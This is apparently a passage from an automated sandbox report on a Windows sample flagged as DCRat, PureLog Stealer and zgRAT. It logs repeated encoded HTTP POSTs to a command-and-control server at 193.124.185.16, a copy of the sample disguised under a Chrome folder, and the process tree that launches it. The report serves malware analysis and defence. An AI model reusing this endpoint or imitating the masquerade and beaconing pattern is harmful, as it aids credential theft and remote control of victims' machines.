Dec 16, 2024 13:13:51.776418924 CET	1812	OUT	Data Raw: 54 56 59 5d 5f 5e 54 5c 58 59 51 57 59 5e 54 5b 59 5b 59 43 56 5e 5a 55 54 5f 44 58 54 5e 58 5b 5a 5e 54 5d 51 5b 53 5c 47 5a 56 53 51 53 55 58 51 5a 5c 5f 46 57 55 53 51 5c 55 57 57 5c 5a 45 58 5a 59 5c 5d 58 59 56 58 5b 5f 59 5d 58 5b 53 56 58 Data Ascii: TVY]_^T\XYQWY^T[Y[YCV^ZUT_DXT^X[Z^T]Q[S\GZVSQSUXQZ\_FWUSQ\UWW\ZEXZY\]XYVX[_Y]X[SVXVST]T]W_Q\CY[^[^ZQS^YRQTX_XUB^\_YPYUSWXQ]RRWATQ^T_UX]^\\ZRR^TUYVPPPT_X_ZDTXUWQBTX[T][\ZYURTPZQ]^YPZ[_Y!+.%9Y71^5("=)^38($("/)$72),%G!"Z*6
Dec 16, 2024 13:13:52.663379908 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:13:52.898082972 CET	349	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 16 Dec 2024 12:13:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 39 38 0d 0a 02 1f 20 0e 22 14 03 00 32 04 2c 0b 33 3d 2a 58 24 38 3f 09 3c 3d 3f 07 3d 00 19 5f 29 2f 2b 5e 26 2c 2f 59 2a 2e 29 54 3f 01 34 5e 3d 31 2a 58 02 12 25 01 29 32 3f 1e 3b 5b 2e 1c 29 03 2d 44 23 3c 3f 58 31 2d 2b 57 24 3a 3d 5f 37 00 32 0b 2a 3a 3c 1f 29 02 0f 01 3e 3e 27 13 3f 2e 21 50 08 11 25 57 3c 02 0d 55 2a 1d 20 06 23 0d 30 19 27 3a 33 1e 25 33 2f 08 32 5a 3b 5e 2b 22 3f 15 2a 2e 29 05 2e 3a 3d 00 21 57 3e 08 29 02 2e 51 23 0a 29 51 05 34 5c 51 0d 0a 30 0d 0a 0d 0a Data Ascii: 98 "2,3=X$8?<=?=_)/+^&,/Y.)T?4^=1X%)2?;[.)-D#<?X1-+W$:=_72:<)>>'?.!P%W<U* #0':3%3/2Z;^+"?*.).:=!W>).Q#)Q4\Q0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	49943	193.124.185.16	80	1600	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:13:51.555517912 CET	315	OUT	POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 193.124.185.16 Content-Length: 1096 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:13:51.901496887 CET	1096	OUT	Data Raw: 51 50 59 51 5f 58 51 5f 58 59 51 57 59 59 54 59 59 5b 59 47 56 51 5a 5f 54 5f 44 58 54 5e 58 5b 5a 5e 54 5d 51 5b 53 5c 47 5a 56 53 51 53 55 58 51 5a 5c 5f 46 57 55 53 51 5c 55 57 57 5c 5a 45 58 5a 59 5c 5d 58 59 56 58 5b 5f 59 5d 58 5b 53 56 58 Data Ascii: QPYQ_XQ_XYQWYYTYY[YGVQZ_T_DXT^X[Z^T]Q[S\GZVSQSUXQZ\_FWUSQ\UWW\ZEXZY\]XYVX[_Y]X[SVXVST]T]W_Q\CY[^[^ZQS^YRQTX_XUB^\_YPYUSWXQ]RRWATQ^T_UX]^\\ZRR^TUYVPPPT_X_ZDTXUWQBTX[T][\ZYURTPZQ]^YPZ[_Y"=8>Y%9= )Y>(W#-='()77!+4/@$2'>,%G!"Z**
Dec 16, 2024 13:13:52.790744066 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:13:53.022469997 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 16 Dec 2024 12:13:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 30 57 5a 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 40WZX0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	49949	193.124.185.16	80	1600	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:13:53.270060062 CET	291	OUT	POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 193.124.185.16 Content-Length: 1096 Expect: 100-continue
Dec 16, 2024 13:13:53.620224953 CET	1096	OUT	Data Raw: 54 5f 5c 50 5f 5c 51 5d 58 59 51 57 59 5b 54 5a 59 5d 59 44 56 50 5a 5f 54 5f 44 58 54 5e 58 5b 5a 5e 54 5d 51 5b 53 5c 47 5a 56 53 51 53 55 58 51 5a 5c 5f 46 57 55 53 51 5c 55 57 57 5c 5a 45 58 5a 59 5c 5d 58 59 56 58 5b 5f 59 5d 58 5b 53 56 58 Data Ascii: T_\P_\Q]XYQWY[TZY]YDVPZ_T_DXT^X[Z^T]Q[S\GZVSQSUXQZ\_FWUSQ\UWW\ZEXZY\]XYVX[_Y]X[SVXVST]T]W_Q\CY[^[^ZQS^YRQTX_XUB^\_YPYUSWXQ]RRWATQ^T_UX]^\\ZRR^TUYVPPPT_X_ZDTXUWQBTX[T][\ZYURTPZQ]^YPZ[_Y"=829Y#S!Y)&4U#.-[%(;V0#?<$%"<V)<%G!"Z*"
Dec 16, 2024 13:13:54.495575905 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:13:54.729999065 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 16 Dec 2024 12:13:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 30 57 5a 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 40WZX0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	49952	193.124.185.16	80	1600	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:13:54.976639986 CET	315	OUT	POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 193.124.185.16 Content-Length: 1092 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:13:55.323334932 CET	1092	OUT	Data Raw: 51 57 59 51 5a 5f 51 59 58 59 51 57 59 5a 54 59 59 55 59 41 56 5a 5a 5a 54 5f 44 58 54 5e 58 5b 5a 5e 54 5d 51 5b 53 5c 47 5a 56 53 51 53 55 58 51 5a 5c 5f 46 57 55 53 51 5c 55 57 57 5c 5a 45 58 5a 59 5c 5d 58 59 56 58 5b 5f 59 5d 58 5b 53 56 58 Data Ascii: QWYQZ_QYXYQWYZTYYUYAVZZZT_DXT^X[Z^T]Q[S\GZVSQSUXQZ\_FWUSQ\UWW\ZEXZY\]XYVX[_Y]X[SVXVST]T]W_Q\CY[^[^ZQS^YRQTX_XUB^\_YPYUSWXQ]RRWATQ^T_UX]^\\ZRR^TUYVPPPT_X_ZDTXUWQBTX[T][\ZYURTPZQ]^YPZ[_Y!\%2:%[7S>>#!-60(7=5:(7?2W<V)<%G!"Z"
Dec 16, 2024 13:13:56.248579979 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:13:56.482651949 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 16 Dec 2024 12:13:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 30 57 5a 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 40WZX0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	49958	193.124.185.16	80	1600	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:13:56.729716063 CET	315	OUT	POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 193.124.185.16 Content-Length: 1096 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:13:57.088852882 CET	1096	OUT	Data Raw: 54 5f 5c 56 5f 5b 54 5c 58 59 51 57 59 5e 54 5d 59 55 59 47 56 59 5a 58 54 5f 44 58 54 5e 58 5b 5a 5e 54 5d 51 5b 53 5c 47 5a 56 53 51 53 55 58 51 5a 5c 5f 46 57 55 53 51 5c 55 57 57 5c 5a 45 58 5a 59 5c 5d 58 59 56 58 5b 5f 59 5d 58 5b 53 56 58 Data Ascii: T_\V_[T\XYQWY^T]YUYGVYZXT_DXT^X[Z^T]Q[S\GZVSQSUXQZ\_FWUSQ\UWW\ZEXZY\]XYVX[_Y]X[SVXVST]T]W_Q\CY[^[^ZQS^YRQTX_XUB^\_YPYUSWXQ]RRWATQ^T_UX]^\\ZRR^TUYVPPPT_X_ZDTXUWQBTX[T][\ZYURTPZQ]^YPZ[_Y")%_: %)5S53;#?+$2,U,%G!"Z*6
Dec 16, 2024 13:13:57.959892035 CET	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	49962	193.124.185.16	80	1600	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:13:58.022623062 CET	315	OUT	POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 193.124.185.16 Content-Length: 1812 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:13:58.370142937 CET	1812	OUT	Data Raw: 51 57 59 5c 5f 5f 54 55 58 59 51 57 59 5d 54 5b 59 5b 59 47 56 51 5a 54 54 5f 44 58 54 5e 58 5b 5a 5e 54 5d 51 5b 53 5c 47 5a 56 53 51 53 55 58 51 5a 5c 5f 46 57 55 53 51 5c 55 57 57 5c 5a 45 58 5a 59 5c 5d 58 59 56 58 5b 5f 59 5d 58 5b 53 56 58 Data Ascii: QWY\__TUXYQWY]T[Y[YGVQZTT_DXT^X[Z^T]Q[S\GZVSQSUXQZ\_FWUSQ\UWW\ZEXZY\]XYVX[_Y]X[SVXVST]T]W_Q\CY[^[^ZQS^YRQTX_XUB^\_YPYUSWXQ]RRWATQ^T_UX]^\\ZRR^TUYVPPPT_X_ZDTXUWQBTX[T][\ZYURTPZQ]^YPZ[_Y">"1) [)/"-=%;?Q>$$!P?'#C2W,V)%G!"Z*
Dec 16, 2024 13:13:59.258297920 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:13:59.494616032 CET	349	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 16 Dec 2024 12:13:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 39 38 0d 0a 02 1f 20 09 22 14 0f 05 32 03 09 10 24 58 2e 58 24 5e 38 1a 2a 3d 3c 5c 3d 3d 28 05 3e 06 20 02 30 11 3b 1b 3e 58 2e 0f 28 3c 2b 07 29 0b 2a 58 02 12 26 5b 3e 0b 34 0b 2d 2e 25 0a 3e 3e 21 40 34 2c 24 00 26 3d 33 56 32 04 07 5f 34 07 0b 57 28 3a 30 53 3d 05 36 59 2b 2e 24 05 3d 3e 21 50 08 11 25 1b 28 2c 02 09 3e 0d 24 02 21 20 38 5c 24 29 0e 0e 24 23 02 55 32 3f 23 5e 3d 32 19 1b 2a 00 2e 1e 2d 00 26 12 21 0f 35 19 2a 12 2e 51 23 0a 29 51 05 34 5c 51 0d 0a 30 0d 0a 0d 0a Data Ascii: 98 "2$X.X$^8=<\==(> 0;>X.(<+)X&[>4-.%>>!@4,$&=3V2_4W(:0S=6Y+.$=>!P%(,>$! 8\$)$#U2?#^=2.-&!5.Q#)Q4\Q0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	49963	193.124.185.16	80	1600	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:13:58.148406029 CET	315	OUT	POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 193.124.185.16 Content-Length: 1096 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:13:58.495131969 CET	1096	OUT	Data Raw: 51 57 59 50 5a 58 51 5f 58 59 51 57 59 59 54 59 59 5d 59 44 56 5f 5a 5a 54 5f 44 58 54 5e 58 5b 5a 5e 54 5d 51 5b 53 5c 47 5a 56 53 51 53 55 58 51 5a 5c 5f 46 57 55 53 51 5c 55 57 57 5c 5a 45 58 5a 59 5c 5d 58 59 56 58 5b 5f 59 5d 58 5b 53 56 58 Data Ascii: QWYPZXQ_XYQWYYTYY]YDV_ZZT_DXT^X[Z^T]Q[S\GZVSQSUXQZ\_FWUSQ\UWW\ZEXZY\]XYVX[_Y]X[SVXVST]T]W_Q\CY[^[^ZQS^YRQTX_XUB^\_YPYUSWXQ]RRWATQ^T_UX]^\\ZRR^TUYVPPPT_X_ZDTXUWQBTX[T][\ZYURTPZQ]^YPZ[_Y!\)(-&:=Z %)>&,5938(>'/[!Y1)$7B%!0%G!"Z*
Dec 16, 2024 13:13:59.373580933 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:13:59.606014967 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 16 Dec 2024 12:13:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 30 57 5a 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 40WZX0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	49969	193.124.185.16	80	1600	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:13:59.851900101 CET	291	OUT	POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 193.124.185.16 Content-Length: 1096 Expect: 100-continue
Dec 16, 2024 13:14:00.198250055 CET	1096	OUT	Data Raw: 54 56 59 54 5f 58 54 5d 58 59 51 57 59 5b 54 5a 59 5d 59 40 56 5d 5a 5c 54 5f 44 58 54 5e 58 5b 5a 5e 54 5d 51 5b 53 5c 47 5a 56 53 51 53 55 58 51 5a 5c 5f 46 57 55 53 51 5c 55 57 57 5c 5a 45 58 5a 59 5c 5d 58 59 56 58 5b 5f 59 5d 58 5b 53 56 58 Data Ascii: TVYT_XT]XYQWY[TZY]Y@V]Z\T_DXT^X[Z^T]Q[S\GZVSQSUXQZ\_FWUSQ\UWW\ZEXZY\]XYVX[_Y]X[SVXVST]T]W_Q\CY[^[^ZQS^YRQTX_XUB^\_YPYUSWXQ]RRWATQ^T_UX]^\\ZRR^TUYVPPPT_X_ZDTXUWQBTX[T][\ZYURTPZQ]^YPZ[_Y"+;>Z$.7S5<W"![')4$6.('$1"3>,%G!"Z*"
Dec 16, 2024 13:14:01.077007055 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:14:01.309952021 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 16 Dec 2024 12:14:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 30 57 5a 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 40WZX0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	49973	193.124.185.16	80	1600	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:14:01.556477070 CET	315	OUT	POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 193.124.185.16 Content-Length: 1096 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:14:01.901370049 CET	1096	OUT	Data Raw: 51 54 5c 51 5f 5f 51 5e 58 59 51 57 59 5b 54 5a 59 5a 59 43 56 59 5a 5c 54 5f 44 58 54 5e 58 5b 5a 5e 54 5d 51 5b 53 5c 47 5a 56 53 51 53 55 58 51 5a 5c 5f 46 57 55 53 51 5c 55 57 57 5c 5a 45 58 5a 59 5c 5d 58 59 56 58 5b 5f 59 5d 58 5b 53 56 58 Data Ascii: QT\Q__Q^XYQWY[TZYZYCVYZ\T_DXT^X[Z^T]Q[S\GZVSQSUXQZ\_FWUSQ\UWW\ZEXZY\]XYVX[_Y]X[SVXVST]T]W_Q\CY[^[^ZQS^YRQTX_XUB^\_YPYUSWXQ]RRWATQ^T_UX]^\\ZRR^TUYVPPPT_X_ZDTXUWQBTX[T][\ZYURTPZQ]^YPZ[_Y![2Y$91^7[>& U"=)^'=$7"?=W)$1/=<%G!"Z"
Dec 16, 2024 13:14:02.792396069 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:14:03.026561975 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 16 Dec 2024 12:14:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 30 57 5a 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 40WZX0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	49978	193.124.185.16	80	1600	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:14:03.274596930 CET	315	OUT	POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 193.124.185.16 Content-Length: 1092 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:14:03.620280027 CET	1092	OUT	Data Raw: 54 56 5c 57 5a 5a 54 5f 58 59 51 57 59 5a 54 5d 59 5f 59 46 56 58 5a 5a 54 5f 44 58 54 5e 58 5b 5a 5e 54 5d 51 5b 53 5c 47 5a 56 53 51 53 55 58 51 5a 5c 5f 46 57 55 53 51 5c 55 57 57 5c 5a 45 58 5a 59 5c 5d 58 59 56 58 5b 5f 59 5d 58 5b 53 56 58 Data Ascii: TV\WZZT_XYQWYZT]Y_YFVXZZT_DXT^X[Z^T]Q[S\GZVSQSUXQZ\_FWUSQ\UWW\ZEXZY\]XYVX[_Y]X[SVXVST]T]W_Q\CY[^[^ZQS^YRQTX_XUB^\_YPYUSWXQ]RRWATQ^T_UX]^\\ZRR^TUYVPPPT_X_ZDTXUWQBTX[T][\ZYURTPZQ]^YPZ[_Y">;1&1_ &)Y)C7!X6';'(4Z5?)Q(''@23><%G!"Z*2
Dec 16, 2024 13:14:04.498812914 CET	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	49982	193.124.185.16	80	1600	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:14:04.634592056 CET	315	OUT	POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 193.124.185.16 Content-Length: 1812 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:14:04.989567995 CET	1812	OUT	Data Raw: 54 56 5c 54 5f 56 54 5e 58 59 51 57 59 5c 54 51 59 5f 59 41 56 5c 5a 5c 54 5f 44 58 54 5e 58 5b 5a 5e 54 5d 51 5b 53 5c 47 5a 56 53 51 53 55 58 51 5a 5c 5f 46 57 55 53 51 5c 55 57 57 5c 5a 45 58 5a 59 5c 5d 58 59 56 58 5b 5f 59 5d 58 5b 53 56 58 Data Ascii: TV\T_VT^XYQWY\TQY_YAV\Z\T_DXT^X[Z^T]Q[S\GZVSQSUXQZ\_FWUSQ\UWW\ZEXZY\]XYVX[_Y]X[SVXVST]T]W_Q\CY[^[^ZQS^YRQTX_XUB^\_YPYUSWXQ]RRWATQ^T_UX]^\\ZRR^TUYVPPPT_X_ZDTXUWQBTX[T][\ZYURTPZQ]^YPZ[_Y!=;)$)=Z X)64R">$+()6/U?#D%'>%G!"Z*>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	49983	193.124.185.16	80	1600	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:14:04.755965948 CET	315	OUT	POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 193.124.185.16 Content-Length: 1096 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:14:05.104674101 CET	1096	OUT	Data Raw: 54 55 5c 53 5f 5e 54 54 58 59 51 57 59 58 54 5a 59 5c 59 45 56 5b 5a 58 54 5f 44 58 54 5e 58 5b 5a 5e 54 5d 51 5b 53 5c 47 5a 56 53 51 53 55 58 51 5a 5c 5f 46 57 55 53 51 5c 55 57 57 5c 5a 45 58 5a 59 5c 5d 58 59 56 58 5b 5f 59 5d 58 5b 53 56 58 Data Ascii: TU\S_^TTXYQWYXTZY\YEV[ZXT_DXT^X[Z^T]Q[S\GZVSQSUXQZ\_FWUSQ\UWW\ZEXZY\]XYVX[_Y]X[SVXVST]T]W_Q\CY[^[^ZQS^YRQTX_XUB^\_YPYUSWXQ]RRWATQ^T_UX]^\\ZRR^TUYVPPPT_X_ZDTXUWQBTX[T][\ZYURTPZQ]^YPZ[_Y"=8!&_7[>%<T5>!';+T=$'X#?.?7E$28+<%G!"Z*.

Target ID:	0
Start time:	07:12:16
Start date:	16/12/2024
Path:	C:\Users\user\Desktop\DWTukBG9R7.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\DWTukBG9R7.exe"
Imagebase:	0xbc0000
File size:	2'742'784 bytes
MD5 hash:	15536627EF85575E9DFA2F91D54B24DD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000000.2102608195.0000000000BC2000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000000.00000002.2152680576.00000000133FF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	07:12:20
Start date:	16/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\NRc8fv8OU7.bat"
Imagebase:	0x7ff6a7b70000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	07:12:20
Start date:	16/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	07:12:20
Start date:	16/12/2024
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp 65001
Imagebase:	0x7ff752240000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	07:12:20
Start date:	16/12/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	ping -n 10 localhost
Imagebase:	0x7ff747320000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	07:12:29
Start date:	16/12/2024
Path:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe"
Imagebase:	0xb40000
File size:	2'742'784 bytes
MD5 hash:	15536627EF85575E9DFA2F91D54B24DD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000006.00000002.3368236613.00000000034CC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000006.00000002.3368236613.0000000003673000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000006.00000002.3368236613.00000000031C4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Avira Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 100%, Joe Sandbox ML Detection: 100%, Joe Sandbox ML Detection: 68%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	5.1%
Dynamic/Decrypted Code Coverage:	22.2%
Signature Coverage:	0%
Total number of Nodes:	18
Total number of Limit Nodes:	1

Executed Functions

Function 00007FF848F2ED50 Relevance: .9, Instructions: 864
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2161418942.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848f20000_DWTukBG9R7.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d60b31bf961b836e13229d448cfd0fa336ac7355b352395eed634eed15008c6
Instruction ID: 1ee0585e12f7053afd164461f1fce80958bdc021b2ca6f28d0f347d702256f1d
Opcode Fuzzy Hash: 7d60b31bf961b836e13229d448cfd0fa336ac7355b352395eed634eed15008c6
Instruction Fuzzy Hash: 4E82A370D1861D8FDBA8EF58D899AACB7B1FF58300F1041A9D41EE7291DB35AA81CF14

Function 00007FF848F20D6C Relevance: .3, Instructions: 291
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

